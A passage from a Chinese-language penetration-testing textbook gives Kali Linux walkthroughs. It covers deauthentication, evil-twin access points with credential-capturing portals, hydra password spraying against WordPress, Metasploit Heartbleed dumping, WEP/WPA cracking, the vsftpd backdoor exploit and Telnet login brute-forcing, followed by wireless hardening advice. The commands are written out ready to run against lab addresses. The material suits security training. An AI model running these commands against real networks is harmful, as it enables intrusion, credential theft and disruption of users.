在攻击过程中,切换回到您监视目标网络的第一个终端窗口。很快,您会看到客户端(站点)被断开连接,最终,WPA/WPA2 握手将被捕获。您将在您的终端上注意到,使用 airodump-ng,WPA 握手值将出现在窗口的右上角。这表明 WPA/WPA2 握手已经被捕获。在下一章中,我们将对无线网络进行密码破解。

您可以使用诸如Hashcat (hashcat.net/hashcat/) 和John the Ripper (www.openwall.com/john/) 进行密码破解。

此外,如果您想要从 AP 中去认证特定的客户端(站点),以下命令将允许这个操作:

aireplay-ng -0 0 -a <target's bssid> -c <client's mac addr> wlan0mon

以下是我们使用的每个参数的描述:

  • -0:这表示这是一个去认证攻击。

  • 0:这指定要注入的帧的数量。使用0将创建一个持续的攻击;如果您指定2,则只会注入两个去认证帧。

  • -c:这允许您指定客户端的 MAC 地址。

在下一节中,我们将使用 Kali Linux 和各种无线工具创建一个蜜罐。

创建一个伪装 AP/恶意双胞胎

作为未来的渗透测试人员或道德黑客,您可能被要求为您的公司或客户组织进行广泛的无线安全测试。创建一个具有吸引力的 SSID(无线网络名称)的伪装 AP,例如VIP_WiFiCompany-name_VIP,将诱使员工建立连接。

在创建一个伪装 AP 时,目标是捕获用户凭据和敏感信息,并检测组织中的任何易受攻击的无线客户端。在部署伪装 AP 时,请考虑以下一些提示:

  • 选择一个合适的位置,以确保潜在受害者有最大的覆盖范围。

  • 从真实 AP 中去认证客户端,导致他们与伪装 AP 建立关联。

  • 创建一个捕获用户凭据的强制门户。

要开始,我们将使用Airgeddon。这个工具包含了很多功能和功能,将帮助我们,从收集关于目标无线网络及其客户端的信息到发动各种类型的攻击和诱使用户与我们的伪装 AP 关联。

要开始创建一个虚假的接入点,请按照以下步骤进行:

  1. 从其 GitHub 存储库下载 Airgeddon,并在您的用户帐户上给予airgeddon.sh脚本可执行权限。使用以下命令:
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git 
cd airgeddon chmod +x airgeddon.sh
  1. 在您的终端窗口中,使用./airgeddon.sh命令启动 Airgeddon 界面。一旦脚本被启动,Airgeddon 将开始检查您的 Kali Linux 机器上的基本硬件和软件要求。

  2. Enter几次,直到您到达接口选择提示;请务必选择您的无线适配器,如下面的屏幕截图所示:

选择选项2,它具有 wlan0 接口,并按Enter

如果 Airgeddon 指出您缺少任何工具,请务必在继续之前安装它们。

  1. 现在,您将看到 Airgeddon 的主要仪表板。在这里,您可以选择在无线适配器上在监视模式或托管模式之间切换。您将能够发动各种类型的攻击,如拒绝服务DoS)攻击,尝试破解无线密码,捕获和解密无线握手,执行恶意双子攻击,或创建一个恶意 AP:

对于我们的攻击,我们将创建一个蜜罐,诱使受害者连接到我们的假 AP,以拦截、重定向和捕获敏感信息。

  1. 接下来,将您的无线适配器设置为监视模式。您可以在 Airgeddon 菜单中使用将接口置于监视模式选项来完成这个操作。完成后,您应该看到您的无线适配器的状态现在已更改为监视模式,如下面的屏幕截图所示:

  1. 选择恶意双子攻击菜单选项并按Enter。您将看到以下选项:

Airgeddon 不仅允许我们轻松设置一个恶意 AP 或恶意双子,而且还为我们提供了其他功能,如嗅探受害者的流量,执行任何 SSL/TLS 连接的 SSL 剥离,执行浏览器利用,甚至创建一个用于收集用户凭据的囚犯门户。

  1. 让我们首先寻找一个目标。选择选项4并按Enter。一个弹出的终端窗口将打开,显示所有附近的 AP。当您准备好选择一个目标时,请选择扫描窗口:

  1. 选择您的目标 AP 并按Enter继续。此时,我们已经将无线适配器设置为监视模式并选择了我们的目标:

  1. 让我们进行一个带嗅探的恶意双子攻击。选择选项6并按Enter。接下来的菜单将变为可用:

  1. 选择选项2来对目标无线网络执行去认证攻击;这将迫使真实网络的客户端断开连接(去认证),他们将尝试连接到我们的恶意双子/恶意双子。Airgeddon 将要求您选择连接到互联网/物理网络的物理接口。目的是为受害者提供常规网络连接的假象。当他们连接并访问本地资源时,受害者会认为这是合法的网络:

  1. 选择适当的接口并按Enter继续;再次按Enter以验证所选的接口。

选择欺骗你的 MAC 地址来改变你的身份。

  1. 当你准备好时,发动攻击。Airgeddon 将打开几个较小的终端窗口,显示它正在执行的每次攻击的状态,如下面的屏幕截图所示:

一旦客户端连接,适当的终端窗口将为您提供更新。只需几个步骤,你现在拥有了自己的恶意双子/恶意双子。

在下一部分,我们将讨论并演示对目标系统的密码喷洒。

执行密码喷洒攻击

密码喷洒(有时被称为反向暴力破解)是一种通过使用有效的用户名和包含密码各种可能性的单词列表进行多次登录尝试的技术。进行密码喷洒攻击的目标是获得一组有效的用户凭据。

要执行密码喷洒攻击,我们将使用我们现有的 WordPress 服务器作为我们的目标Burp Suite,以在网页上获取用户名和密码输入字段,并使用hydra执行我们的密码喷洒攻击以找到有效的用户凭据。

要开始,请使用以下说明:

  1. 配置您的网络浏览器以使用 Burp Suite 代理设置。完成后,打开 Burp Suite 并打开其拦截模式。

  2. 接下来,在您的网络浏览器上,转到 WordPress 登录门户。URL 应为http://<服务器地址>/wp-login.php。请注意,您不应该在未经适当权限的设备或网络上尝试任何攻击。本节中执行的任务仅在实验环境中进行,仅用于教育目的。

  3. 在用户名和密码字段中输入以下用户凭据,然后按Enter发送登录请求:

  • uname

  • pass

  1. 请返回到 Burp Suite。在代理|拦截选项卡上,点击几次前进按钮,直到在原始子选项卡中看到一个 HTTP POST消息,如下面的屏幕截图所示:

  1. POST消息中,注意第一行中的目录(/wp-login.php)和用户名/密码字段。

  2. 确保记录网页上的登录错误消息,因为它在后续步骤中是必需的:

在我们的练习中,已创建了两个自定义字词表:第一个字词表包含可能的用户名列表,第二个包含可能的密码列表。使用 Kali Linux 上的hydra工具,您将能够对目标 WordPress 服务器执行密码喷洒攻击。

  1. 使用hydra,我们可以得到以下语法:
hydra -L <username list> -p <password list> <IP Address> <form parameters><failed login message>
  1. 替换语法中的每个值,我们得到以下命令:
hydra -L usernames.txt -P custom_list.txt 10.10.10.22 http-form-post "/wp-login. php: log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.10.22%2Fwp-admin% 2F&testcookie=l: Invalid username" -V
  1. uname替换为^USER^,将pass替换为^PASS^,我们可以告诉hydra这些是用户名和密码字段。另外,指定-V以在终端窗口上产生详细输出。

  2. 执行命令后,以下是预期输出的示例。以[80] [http-post-form]开头的行提供了目标的可能有效的用户名和密码,如下面的屏幕截图所示:

确保检查每个用户名和密码以验证其在目标系统上的真实性。快速向目标系统发送用户名和密码可能会导致锁定并停止我们的攻击。为了在尝试之间创建 10 秒的等待时间,使用-w 10参数。这是可选的;但是,它可能会减少被目标锁定或阻止的机会。

在下一节中,我们将介绍饮水源攻击的基本知识。

设置饮水源攻击

在 IT 安全领域,了解各种类型的攻击和威胁非常重要。其中一些攻击有一些非常不寻常的名称,在本节中,我们将介绍饮水源攻击的基础知识。

假设您是一家公司的 IT 安全管理员或工程师。您已经在行业内实施了最佳的安全设备,以主动检测和防止任何内部或外部的威胁。您还实施了行业最佳实践,遵守了标准,并确保您的用户(组织的员工)经常接受用户安全实践培训。您已经在组织内建立了一个安全堡垒,并确保网络边界也对新兴威胁保持警惕。

攻击者会注意到他们无法渗透您的网络,甚至社会工程技术,如钓鱼邮件,也无法成功针对您的组织。这将对妥协组织(目标)造成很大挑战,因为它受到了很好的保护。其中一种方法是进行饮水源攻击。

想象一下,在午餐时间,一些员工去附近的咖啡店喝一杯热饮或冷饮。黑客可能正在监视组织员工的活动——比如说,他们在休息时间经常去到有公共 Wi-Fi 的地方,甚至下班后也是如此。假设有一群员工经常光顾当地的咖啡店。攻击者可以妥协咖啡店的 Wi-Fi 网络,并植入一个下载到连接到网络的任何设备并在后台运行的 payload。

通过 compromise 咖啡店的 Wi-Fi 网络,攻击者正在对饮水源进行污染,包括目标组织的员工在享用饮料时使用的饮水源。假设 Alice 的智能手机在咖啡店被攻击;她将其带回组织并连接到内部(Wi-Fi)网络。此时,攻击是从内部生成的,并且可以危害网络的其余部分,甚至尝试在目标组织中创建后门。

有许多其他方法可以创建饮水源攻击;这只是一个例子。另一个例子是妥协经常有许多用户访问的合法网站,并在潜在受害者的系统上种植恶意软件。当系统感染恶意软件时,payload 可以针对其他网站或网络。

在下一节中,我们将讨论并演示如何从使用弱加密系统的系统中窃取凭据。

利用弱加密窃取凭据

加密在我们的日常生活中扮演着关键角色;无论是在外出时检查电子邮件,浏览喜爱的网站,还是简单地给朋友发送消息,数据加密为我们提供了一定程度的隐私保护,使得我们免受窥探。很多时候,IT 专业人员并不总是跟踪他们在维护加密技术方面的合规水平。这导致恶意用户或黑客通过攻击易受攻击的系统来获取机密数据,因为加密实践不当。

在这个练习中,我们将尝试发现目标上加密中最常见的漏洞。一旦找到,我们将利用弱加密漏洞。

要开始,请执行以下步骤:

  1. 下载并设置bee-box虚拟机。bee-box 文件可以在sourceforge.net/projects/bwapp/files/bee-box/找到。

  2. 安装完成后,在您的 Kali Linux(攻击者机器)上打开 Web 浏览器,输入 bee-box 的 IP 地址,然后点击Enter

  3. 将出现以下屏幕。点击bWAPP链接,如下截图所示:

  1. 您将遇到一个登录门户。输入用户名bee和密码bug进行登录:

  1. 在屏幕的左上角,使用下拉菜单并选择 Heartbleed Vulnerability。然后,点击 Hack 以加载目标虚拟机上的漏洞:

  1. 接下来,您将看到以下屏幕:

  1. 在您的 Kali Linux 机器上,在地址栏中输入带有端口号8443的新 URL,然后点击Enter。新的 URL 应该是https://10.10.10.131:8443。确保再次使用步骤 4中提供的凭据登录 bWAPP 应用程序。

  2. 使用 Nmap,我们可以执行漏洞扫描,以确定目标上是否存在心脏出血漏洞。要执行此任务,请使用以下命令:

nmap -p 8443 -script ssl-heartbleed <target IP address>

如果目标上存在漏洞,Nmap 将向我们呈现以下屏幕:

  1. 现在我们确定了目标上存在心脏出血漏洞,是时候使用 Metasploit 进行一些利用了。在 Metasploit 中,让我们使用search命令来帮助我们找到一个合适的模块:

  1. 搜索返回了两个可用的模块。我们将使用auxiliary/scanner/ssl/openssl_heartbleed模块。此外,我们将把RHOSTS设置为目标的 IP 地址,RPORTS设置为8443,如 bWAPP 界面的提示所指定的。以下片段显示了配置:

启动模块后,您会注意到数据正在以下屏幕中泄漏:

仔细检查输出,您会看到利用返回了可打印信息泄漏部分,随后是明文的 HTTP 会话信息;目标机器以数据泄漏做出了响应。如果没有发现泄漏,目标机器将不会向我们的 Metasploit 界面返回任何数据。默认情况下,数据的转储已被提取并存储在您的 Kali Linux 机器上的/root/.msf4/loot/…位置。

  1. 使用show info命令,您将看到openssl_heartbleed模块下可执行的操作,如下图所示:

可以使用以下命令更改这些操作:

  • set action DUMP

  • set action KEYS

  • set action SCAN

以下是在使用set action DUMP命令后.bin文件的内容:

此外,越多的人当前访问易受攻击的应用程序,收集更多机密信息的可能性就越高,例如登录凭据。然而,在我们的练习中,我能够捕获 cookie 数据。

总结

在本章中,您学习了如何执行无线数据包嗅探,熟悉了数据包嗅探的基础知识,并使用aircrack-ng进行了有针对性的数据包嗅探。此外,您还学会了在在无线网络上去认证客户端部分对目标无线访问点执行去认证攻击所需的基本技能。

创建一个恶意 AP/恶意孪生部分,您学习了如何使用 Airgeddon 将多个攻击链接在一起,并创建一个恶意孪生/恶意访问点。此外,密码喷洒部分提供了获取远程系统访问权限所需的技能,同时还提供了利用使用弱加密的系统的技能。

在下一章,第十章,网络渗透测试-获取访问权限,我们将更详细地介绍网络渗透。

问题

  1. 什么工具可以为您的无线网络适配器启用监视模式?

  2. SSID 的另一个名称是什么?

  3. 在去认证攻击期间,用于断开客户端的代码是什么?

  4. 用于执行去认证的工具是什么?

进一步阅读

以下是一些额外的阅读资源:

第十章:网络渗透测试 - 获取访问权限

获取对系统和网络的访问权限是渗透测试中最关键的阶段之一。这一阶段测试了渗透测试员的技能和目标系统和网络的安全控制。渗透测试员必须始终考虑他们可以利用各种安全漏洞来攻击目标的所有可能方式。

如果没有进入企业网络,你将无法进行任何形式的网络渗透和数据外泄。渗透测试的目的是模拟真实世界中具有恶意意图的真正黑客会执行的攻击。这意味着未经授权地进入企业网络并破坏系统。

作为一名即将成为网络安全专业人员/渗透测试员,你将学习如何破解无线网络,利用 Linux 和 Windows 操作系统,利用远程访问服务,并获取用户帐户凭据以访问系统和网络。此外,你还将学习有关保护无线网络免受网络威胁的各种对策。

在本章中,我们将涵盖以下主题:

  • 获取访问权限

  • 有线等效隐私WEP)破解

  • Wi-Fi Protected AccessWPA)破解

  • 保护您的无线网络

  • 配置无线安全设置

  • 利用脆弱的外围系统

  • 渗透测试 Citrix 和基于远程桌面协议RDP)的远程访问系统

  • PWN 盒和其他工具

  • 绕过网络访问控制NAC

技术要求

要按照本章的说明进行操作,请确保满足以下硬件和软件要求:

  • Kali Linux

  • Windows 7

  • 无线路由器

获取访问权限

渗透测试和道德黑客是一个令人兴奋的话题。每个人都总是兴奋地想要黑入另一个系统,无论是计算机还是无线网络。之前的章节侧重于在发动攻击之前对目标进行足够的情报收集。黑客和渗透测试的利用阶段有时可能会具有挑战性。

收集有关目标的尽可能多的细节非常重要。这样的背景工作有助于我们确定可以针对目标系统或网络发动的近似利用和有效载荷。有时,当你发动一个针对特定操作系统的利用时,它可能不起作用,这可能会令人沮丧。你可以采取的一种策略是针对网络上的低 hanging fruits——也就是尝试利用和获取对易受攻击的系统和设备的访问权限,这些系统和设备对 TCP/IP 协议易受攻击。

一个例子是我们在之前的章节中探讨过并用来通过 shell 界面进入目标的vsftpd服务。另一个例子是在 Windows 操作系统上发现的EternalBlue漏洞。在扫描阶段期间,一定要对目标网络上的所有设备进行全面的漏洞评估。

首先利用看起来最脆弱、因此易于利用的目标,然后转向那些不太脆弱、因此更难利用的目标。举个例子,想象一下参加笔试。试卷上有很多需要在规定时间内回答的具有挑战性的问题。在这种情况下,明智的做法是先回答较容易的问题,然后再回答更困难的问题。这样可以给你更多时间回答你更有可能答对的问题,并最大限度地提高你在考试中得分的机会。

渗透测试员可以应用许多方法和技术来获取对系统的访问权限,例如以下方法:

  • 在线和离线密码破解

  • 破解无线网络上的预共享密钥PSK

  • 社会工程

  • 执行中间人MITM)攻击

  • 对应用层协议执行暴力破解攻击

在获取访问权限阶段,渗透测试人员通常执行各种类型的攻击,以帮助他们进入网络。通常,您首先执行在线或离线密码破解。一旦获得有效的用户名和密码,下一步就是访问受害者的系统并提升用户权限。获得更高级别的用户权限将允许在受损机器上执行任何应用程序和任务。隐藏文件,如恶意代码,旨在确保创建隐藏的后门,并且已经植入逻辑炸弹(一种包含一组由用户操作触发的指令的病毒)。最后,在断开与受损机器的连接时,总是明智地掩盖您的踪迹。掩盖您的踪迹是渗透测试的最后阶段,重点是删除任何表明攻击者曾在系统或网络上出现的日志文件和证据。

以下是获得系统访问权限的典型流程图:

在接下来的章节中,我们将看看我们可以使用的各种方法,以便进入目标系统。

WEP 破解

通过使用无线网络,具有 IEEE 802.11 兼容设备(如笔记本电脑)的用户可以连接到无线接入点。这将使他们能够访问本地网络上的资源,就像他们使用有线连接时一样。无线网络为用户提供了很多便利,无论是在家中还是在企业环境中。

默认情况下,无线网络是开放的,因此允许任何具有笔记本电脑或智能手机的人建立连接。这引发了用户隐私和安全方面的担忧。WEP 加密标准在无线网络的早期发展阶段被使用,并且仍然被家庭用户和 IT 管理员实施。

WEP 加密标准使用Rivest Cipher 4RC4)加密密码,用于数据加密的40 位密钥。在开发时,这被认为是非常安全的,但到了 2002 年,标准中发现了多个安全漏洞。攻击者可以在几小时内获得加密密钥。使用 40 位密钥,攻击者可以非常快速地捕获和解密流量,这损害了 WEP 加密标准的机密性。在现代密码标准中,使用更大的加密密钥以防止对数据加密的此类攻击。

作为攻击性安全领域的网络安全专业人员,了解在使用 Kali Linux 执行 WEP 破解时应用的技术是很重要的。

执行以下步骤来完成此操作:

  1. 使用以下命令在无线适配器上启用监视模式:
airmon-ng check kill airmon-ng start wlan0
  1. 在附近的接入点上执行无线嗅探,直到发现目标:
airodump-ng wlan0mon

找到目标后,记下其 BSSID、频道和 ESSID 值。

  1. 在获取详细信息后,使用键盘上的Ctrl + C停止airodump-ng,然后继续下一步。

  2. 尝试捕获目标无线网络的数据包:

airodump-ng --bssid <target BSSID value> -c <channel #> wlan0mon -w <output file>

让我们看看一些这些命令的作用:

    • --bssid:允许您通过使用其 BSSID 值(接入点的媒体访问控制地址)指定特定接入点
  • -c:允许您设置无线电,使其监听特定频道

  • -w:特定于输出位置和文件名

  1. 对目标执行去认证攻击。

对目标接入点执行去认证攻击将迫使任何连接的客户端取消关联。一旦客户端断开连接,它们将自动尝试重新连接到接入点。通过这样做,您正在尝试在客户端尝试重新认证时捕获 WEP 密钥:

aireplay-ng -0 0 -a <target's bssid> wlan0mon

当您捕获到 WEP 密钥(您将在运行airodump-ng的窗口上看到通知)时,您可以停止去认证攻击。

  1. 接下来,让我们尝试破解 WEP 并检索秘钥。

一旦您在目标无线网络上捕获了足够的数据,请停止airodump-ng。在终端上使用ls -l命令,您会看到一个.cap文件。在新的终端窗口中,执行以下命令:

aircrack-ng -b <bssid of the access point> output_file.cap

此外,您可以使用以下简单命令来实现相同的任务:

aircrack-ng output_file.cap

以下屏幕截图是预期输出的示例:

但是,您的 WEP 密钥将根据无线接入点的管理员设置的值而有所不同。输出密钥以十六进制格式给出,因此您现在可以使用这个基于十六进制的密钥来访问目标接入点。

完成本节后,您现在可以对无线网络执行 WEP 破解。在下一节中,我们将深入探讨如何执行 WPA 破解技术。

WPA 破解

鉴于 WEP 中发现的安全漏洞,WPA 于 2002 年作为 IEEE 802.11 网络的改进无线安全标准而创建。WPA 使用临时密钥完整性协议TKIP),该协议应用 RC4 加密密码套件,用于无线接入点和客户设备之间的数据隐私。

此外,Wi-Fi 保护访问 2WPA2)后来被开发用于解决其前身的安全漏洞。WPA2 使用高级加密标准AES)进行数据加密,而不是 RC4 密码。此外,WPA2 实施了计数器模式与密码块链接消息认证码协议CCMP),取代了 TKIP。

现在,让我们进入有趣的部分,破解 WPA 以进入目标无线网络:

  1. 在无线适配器上启用监视模式:
airmon-ng check kill airmon-ng start wlan0
  1. 对附近的接入点进行无线嗅探,直到发现您的目标:
airodump-ng wlan0mon

一旦找到目标,请记下其 BSSID、信道和 ESSID 值。在获取详细信息后停止airodump-ng,然后继续下一步。

  1. 尝试捕获目标无线网络的数据包:
airodump-ng --bssid <target BSSID value> -c <channel #> wlan0mon -w <output file>
  1. 对目标进行去认证攻击。

对目标接入点进行去认证攻击将强制任何连接的客户端取消关联。一旦客户端断开连接,它们将自动尝试重新连接到接入点。通过这样做,您正在尝试在客户端尝试重新认证时捕获 WEP 密钥:

aireplay-ng -0 0 -a <target's bssid> wlan0mon

当您捕获到 WPA 握手时,如下面的屏幕截图所示,您可以停止去认证攻击:

使用Ctrl + C停止去认证攻击,并继续下一步。

  1. 要破解 WPA,我们将使用一个字典列表。使用crunch,您可以生成自己的自定义密码字典列表。此外,以下是 Kali Linux 上已预安装的各种字典列表的位置:

一旦找到合适的字典列表,我们可以使用aircrack-ng工具和-w参数指定我们选择的字典列表。

  1. 要开始 WPA 的密码破解,请使用以下命令:
aircrack-ng output_file.cap -w <wordlist>

aircrack-ng将尝试使用特定字典攻击列表,并在找到密钥时停止,如下面的屏幕截图所示:

有时,字典列表可能不包含密码,结果可能不尽人意。使用crunch工具创建自定义字典列表,或尝试使用SecLists GitHub 存储库中的字典列表github.com/danielmiessler/SecLists

现在您已经完成了关于破解无线安全的部分,让我们来看看下一节,它涵盖了如何保护您的无线网络免受网络攻击。

保护您的网络免受上述攻击

正如您在上一节中看到的,渗透测试人员或恶意黑客可以尝试黑客入侵您的无线网络并获取秘钥(密码)。无论您是一名学生正在学习计算机安全课程,还是一名 IT 专业人士,或者只是一个爱好者,本节涵盖的主题是一些可以用来保护您的网络免受此类攻击的方法和技术。

在接下来的章节中,我们将涵盖以下主题:

  • SSID 管理

  • MAC 过滤

  • 天线的功率级别

  • 强密码

  • 保护企业无线网络

让我们开始吧!

SSID 管理

购买新的接入点或无线路由器时,默认的服务集标识符(SSID)通常是制造商的名称。例如,新 Linksys 接入点的默认 SSID(无线网络名称)将包含Linksys作为其 SSID。许多制造商这样做是为了帮助用户在设置新接入点时快速识别他们的无线网络。然而,许多个人和组织使用默认的 SSID。

保持默认的 SSID 不变可能会带来安全问题。假设您为家庭或组织获得了一个新的 Linksys 接入点,并且在设置过程中决定保持设备 SSID 的默认配置。单词Linksys将成为网络名称的一部分。作为进行附近接入点无线扫描的渗透测试人员,看到制造商的名称可以帮助对设备进行概括,并研究Linksys AP 的特定漏洞。

想象一下在扫描无线接入点时看到Netgear这个词。您可以简单地搜索一下这个特定品牌已知的安全漏洞和配置错误的列表,如下图所示:

简而言之,您不应该使用任何可能吸引黑客或泄露接入点和组织身份的名称。我经常看到公司使用他们的组织名称创建 SSID,并且有时将 SSID 的目的作为名称的一部分。

一个例子是使用名称CompanyName_Admin。任何进行任何无线安全审计的渗透测试人员最初都会针对这样的网络。

隐藏 SSID 是一个好的做法,但仍然可以使用无线嗅探技术(如airodump-ng)来发现,正如前面的章节中所概述的。此外,在基于 Windows 的系统上,您可以使用 NetStumbler(www.netstumbler.com)和 inSSIDer(www.metageek.com/products/inssider/)。

在下一节中,我们将讨论无线网络上 MAC 过滤的目的。

MAC 过滤

每个受控接入点及其无线路由器为连接设备提供基本类型的访问控制。在接入点上启用 MAC 过滤允许您指定允许和禁止连接到接入点的设备的列表。然而,有一些技术,所有这些都在前一章中涵盖过,允许渗透测试人员捕获授权设备的列表(它们的 MAC 地址)并执行欺骗以获取未经授权的访问。然而,仍应应用此功能,因为在您的网络上有某种安全性总比没有安全性要好。

在下一节中,我们将介绍天线功率级别的概念。

天线功率级别

一些接入点在其操作系统或固件中具有一个功能,允许您手动调整天线的功率级别。通过降低天线的功率级别,无线信号的广播范围将减小。将功率级别设置为 100%将确保信号具有最大覆盖范围。如果您担心其他人能够在无线网络上看到并拦截您的数据,这个功能可能会很有用。

现在我们了解了功率级别在天线上的作用,接下来我们将介绍创建强密码的基本要点。

强密码

破解用户密码通常取决于密码本身的复杂性。许多用户倾向于在其设备上设置简单易记的口令,特别是在无线网络上。然而,复杂的密码会给渗透测试人员或黑客带来困难。复杂密码具有以下特点:

  • 它们包含大写字符

  • 它们包含小写字符

  • 它们包含数字

  • 它们包含特定符号

  • 它们的长度超过 12 个字符

  • 它们不包含姓名

  • 它们不包含出生日期

  • 它们不包含车辆的车牌号码

以下是由LastPasswww.lastpass.com)生成的复杂密码的示例:

目的是确保没有人能够轻易猜测或破坏您的密码。如果恶意用户能够破坏另一个人的用户凭据,攻击者可以对受害者的网络和/或个人生活造成严重破坏。

在接下来的部分,我们将描述可以在企业网络上实施的技术,以改善其安全状况。

保护企业无线网络

企业无线网络应该使用以下技术来减少无线网络攻击的风险:

  • 在组织拥有和管理的每个无线网络上实施无线入侵防范系统WIPS)。

  • 确保所有有线和无线设备都安装了最新的固件和补丁。

  • 确保设备和配置符合国家标准和技术研究所NIST)的要求。查看 NIST 框架中的建立无线强大安全网络部分,了解更多信息:csrc.nist.gov/publications/detail/sp/800-97/final

  • 尽可能实施多因素身份验证来访问企业网络。

  • 实施可扩展认证协议EAP)—传输层安全TLS)基于证书的方法,以确保无线通信的机密性和真实性。

  • 使用带有 AES 加密的 WPA2-企业版。

  • 实施一个独立的访客无线网络。

实施这些技术和控制措施可以帮助减少企业网络上的安全风险。在接下来的部分,我们将介绍配置和保护无线网络所需遵循的步骤。

配置无线安全设置以保护您的网络

在本节中,我们将讨论如何在接入点和无线路由器上配置无线安全功能,以便您可以保护您的网络。

在这个练习中,我使用的是 Linksys EA6350 无线路由器。请注意,所有无线路由器和接入点在其管理界面中具有相同的功能;但是,每个制造商和设备的图形用户界面GUI)可能会有所不同。

让我们开始吧!

  1. 您需要登录您的接入点或无线路由器。

  2. 登录后,点击用户界面中的无线选项卡。在这里,您可以更改网络名称(SSID),设置复杂密码,设置安全模式,并广播 SSID,如下图所示:

使用以下准则将有助于提高无线网络的安全性:

    • 将 SSID(网络名称)更改为不会引起注意的内容。
  • 隐藏(广播)SSID。

  • 创建一个复杂的密码。如果遇到困难,请尝试使用在线密码生成器。

每个现代接入点和无线路由器都允许使用各种安全模式,例如以下内容:

    • :禁用认证。
  • WEP:使用 WEP 加密标准。

  • WPA 个人:使用 WPA 加密标准,并允许您在接入点上设置预共享密钥PSK)。因此,任何需要访问无线网络的设备都需要提供 PSK。

  • WPA 企业:此模式应用 WPA 加密标准,但请注意,接入点将用户凭据存储在 WPA 个人中。WPA 企业查询中央认证、授权和计费AAA)服务器,以验证用户在无线网络上的访问。

  • WPA2 个人:使用 WPA2 加密标准。

  • WPA2 企业:使用 WPA2 加密标准与 AAA 服务器。

您可以选择禁用 SSID 广播以隐藏您的网络。

  1. 接下来,您应该看到另一个子选项卡,允许您配置MAC 过滤

  2. 启用 MAC 过滤功能。一旦启用,您将有选项将 MAC 地址添加到允许或拒绝列表中,如下面的屏幕截图所示:

  1. 最后,禁用Wi-Fi Protected Setup功能,如下面的屏幕截图所示:

WPS 存在已知的安全漏洞,不应在安全环境中使用。

完成了这个练习,现在您可以配置和设置无线网络。在下一节中,我们将看看如何利用外围系统的基本要点。

利用 Metasploit 攻击易受攻击的外围系统

在网络上利用目标系统有时可能是一项具有挑战性的任务。利用程序只是设计用来利用安全漏洞(弱点)的代码片段。在第五章中,被动信息收集,第六章中,主动信息收集,和第七章中,使用漏洞扫描器,我们深入研究了使用各种工具如 Nmap 和 Nessus 在目标系统中建立安全漏洞。在本节中,我们将利用迄今为止已经开发的信息和技能,并使用 Metasploit 框架进行利用。

在本练习中,我们将使用我们的 Kali Linux 机器作为攻击者,Metasploitable 机器作为目标。让我们开始吧:

  1. 让我们使用 Nmap 对目标进行服务版本扫描。这将帮助我们确定正在运行的端口、协议和服务版本。执行nmap -sV <目标 IP 地址>命令:

正如我们所看到的,目标上有许多服务。

  1. 通过启用PostgreSQL数据库服务来启动Metasploit框架。然后,在终端窗口内初始化 Metasploit 框架并执行以下命令:
service postgresql start msfconsole

Metasploit 框架应该需要一两分钟来初始化。当准备好时,您将看到一个有趣的欢迎横幅和命令行界面CLI)。

根据我们的 Nmap 结果,端口21是开放的,并且正在运行文件传输协议FTP)。通过执行服务版本扫描,我们能够确定它是否正在运行vsftpd 2.3.4守护程序。在您的 Metasploit 界面上,您可以使用search命令,后跟关键字或字符串,搜索模块(扫描程序,利用程序等)。

  1. 在您的 Metasploit 控制台上,通过运行以下命令搜索任何有用的模块,以帮助我们破坏目标机器上的 FTP 服务器:
search vsftpd
  1. Metasploit 将为我们提供符合搜索条件的结果列表。您应该看到控制台返回一个名为vsftpd_234_backdoor的基于 Unix 的利用。要在我们的目标上使用此利用,使用以下一系列命令:
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.100 
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

在我的实验室环境中,目标使用10.10.10.100 IP 地址。在设置RHOSTS(远程主机)值之前,请确保验证目标设备的 IP 地址。此外,许多模块将要求您设置远程目标。您可以使用setg命令全局设置目标。

  1. 执行exploit命令。Metasploit 将尝试将利用代码推送到目标。一旦成功,将创建一个 shell。shell 允许我们从攻击者机器上远程执行命令到目标上,如下图所示:

  1. 在这一点上,任何在控制台上执行的命令都将在目标上执行。执行uname -a命令来验证并打印系统信息:

通常,在对公共和内部系统进行简单的端口扫描时,端口23通常是用于远程管理的开放端口。但是,端口23是 Telnet 协议使用的默认端口。Telnet 是一种不安全的协议,允许用户通过网络远程访问计算机,并且所有通过用户之间传递的流量都是未加密的。任何启用 Telnet 的设备都容易受到中间人攻击,攻击者可以轻松捕获用户凭据。

  1. 让我们使用search命令查找一个有用的模块,以检查 Telnet 启用设备上的有效用户凭据。首先,使用以下命令:
search telnet
  1. 通常,将与搜索条件相符的结果列表呈现在控制台上。在这个练习中,我们将使用特定的扫描程序来检查验证的用户帐户:
msf5 > use auxiliary/scanner/telnet/telnet_login
  1. 接下来,设置您的远程主机:
msf5 auxiliary(scanner/telnet/telnetlogin) > set RHOSTS 10.10.10.100
  1. 如果您有包含不同用户名的单词列表,请使用以下命令(指定文件路径):
msf5 auxiliary(scanner/telnet/telnetlogin) > set USER_FILE <username word list>

如果您有密码列表,可以选择使用以下命令:

msf5 auxiliary(scanner/telnet/telnetlogin) > set PASS_FILE <wordlist>
  1. 但是,如果您没有任何单词列表,也没关系。您可以使用以下命令指定单个用户名和密码:
msf5 auxiliary(scanner/telnet/telnetlogin) > set USERNAME uname msf5 auxiliary(scanner/telnet/telnetlogin) > set PASSWORD word
  1. 完成后,使用run命令执行auxiliary模块:
 msf5 auxiliary(scanner/telnet/telnetlogin) > run 

确保等待几秒钟让扫描器启动。有时,您不会立即在屏幕上看到结果出现。

我们使用run命令执行auxiliary模块,使用exploit命令在 Metasploit 中执行利用。

以下屏幕截图表明找到了有效的用户名和密码:

正如我们已经提到的,您可以使用crunch生成符合您喜好的自定义单词列表。此外,在 Kali Linux 的/usr/share目录中有一组单词列表:

请记住,在进行密码攻击或尝试发现有效的用户凭据时,任务可能非常耗时,而且可能并不总是对您有利。然而,这说明了渗透测试中侦察(信息收集)阶段的重要性。我们能够收集有关目标的更多细节,我们就能够将广泛的攻击范围缩小到特定系统或网络基础设施的特定攻击。

接下来,我们将尝试利用并访问目标系统,即 Microsoft Windows。

永恒之蓝利用

让我们尝试利用 Windows 系统并获取 shell。对于这个练习,可以使用 Windows 7、8、8.1 或 10 操作系统作为目标/受害机器。以下是我实验室拓扑的图表,显示了攻击者和受害者机器的 IP 分配:

如果您的 IP 方案不同,请确保在继续之前记录每台机器的 IP 地址,因为您将需要它们。让我们开始吧:

